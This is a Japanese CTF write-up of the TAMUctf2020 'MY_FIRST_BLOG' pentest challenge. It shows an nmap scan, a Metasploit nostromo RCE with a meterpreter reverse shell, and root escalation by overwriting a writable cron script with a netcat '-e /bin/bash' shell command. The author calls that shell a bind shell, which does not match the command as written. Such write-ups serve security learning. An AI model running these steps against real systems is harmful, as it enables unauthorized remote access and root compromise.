【TAMUctf2020 writeup】MY_FIRST_BLOG(NETWORK_PENTEST)

March 30, 2020

はじめに

KUDoS として TAMUctf2020 に参加しました。 MYFIRSTBLOG は唯一解いた問題です。(もっと貢献しろ) Hack the Box Like ですごい楽しかったです。

難易度的には Hack the Box の easy レベルだと思いました。(そもそも僕が解けてるので…)

nmap

$ nmap -sC -sV 172.30.0.2
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-20 21:58 EDT
Nmap scan report for 172.30.0.2
Host is up (0.18s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    nostromo 1.9.6
|_http-generator: Hugo 0.54.0
|_http-server-header: nostromo 1.9.6
|_http-title: My first blog!
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.86 seconds

nostromo 1.9.6 にはnostromo 1.9.6 - Remote Code Executionの脆弱性があります

metasploit 使う

msf5 exploit(multi/http/nostromo_code_exec) > options

Module options (exploit/multi/http/nostromo_code_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   172.30.0.2       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    80               yes       The target port (TCP)
   SRVHOST  172.30.0.14      yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)
   VHOST                     no        HTTP server virtual host


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.30.0.14      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Automatic (Linux Dropper)

これで meterpreter の shell が取れます

/etc/crontab をみる

毎度お世話になっている高林さんの以下の記事を参考に調査を進めます https://kakyouim.hatenablog.com/entry/2020/03/14/031746#Linux

# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root /usr/bin/healthcheck

/etc/crontabをみると /usr/bin/healthcheck が実行され続けていることがわかります。

Linpeas.sh

Linpeas.sh を使用します。 https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

これにより先ほどの /usr/bin/healthcheck が書き換え可能であることがわかります (長いので細かい結果は省略)

/usr/bin/healthcheckを書き換えて bind shell をとる

以下を meterpreter の upload コマンドを使って /usr/bin/healthcheck と置き換えます。

nc 192.168.100.113 4444 –e /bin/bash

4444 番 port で待ち受けさせたので、local で以下のようにすると接続できます。

$ nc -nv 172.30.0.2 4444
(UNKNOWN) [172.30.0.2] 4444 (?) open
ls
flag.txt

flagGET です

終わりに

最近 Hack the Box ばかりやっていて CTF に参加していなかったのですが、CTF はみんなで力を合わせて頑張る感があってすごく楽しいですよね… 今回みたいな PENTEST の問題が出てくる CTF があったらまた貢献できるように頑張りたいです (本当は Web 問解けるようになりたいんですけど徳丸本すら読破していないのでこういう問題でしか役に立てない)

このエントリーをはてなブックマークに追加